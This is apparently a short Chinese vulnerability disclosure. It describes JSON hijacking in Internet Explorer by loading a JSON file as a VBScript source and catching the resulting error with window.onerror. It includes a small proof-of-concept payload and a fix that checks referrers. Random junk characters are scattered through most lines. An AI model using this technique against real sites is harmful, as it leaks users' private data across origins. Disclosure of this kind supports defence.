简要描述:
, ~9 `' }8 h( b( d/ [4 e W5 q7 y' I _4 x
由于某些资源容器对数据处理不当导致json劫持漏洞.
9 Q* a9 C( i# m5 ~$ h7 \详细说明:% U- k+ X o$ B; l' r ?& J
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
8 Y: ~# [9 T7 {5 c9 K1 p<script language=vbscript></script>7 D, f1 c2 g' S# T e6 d- \
6 u' p2 z; x4 ~' x9 i- x+ o
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
' }! \0 Q" h; r0 \; o& g漏洞证明:, l2 t! Y' y2 U! B7 A% m$ W
<script>1 b" E( r6 }: p
window.onerror=function(_){
" o( ]) m5 o% t0 ialert(_)% U1 v5 M" d5 @7 o5 I8 ~5 |) ^* l# N
}( I( t) Q' l {2 P8 E2 ^9 `
</script>
: ~+ W" j3 s$ \1 [7 Z<script language=vbscript src=1.json></script>
6 b) m9 u! c- E8 ]3 L& C/ L
% m$ P+ P* u2 I* e& U% Y & P0 w2 @* \0 D0 N, n
1.json:% w+ A( {- I# A \
[{"name":"sogili","age":19}]
6 a3 w/ F3 }# a4 E+ l修复方案:& O" _( c D7 ?8 d, Q1 j$ y
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |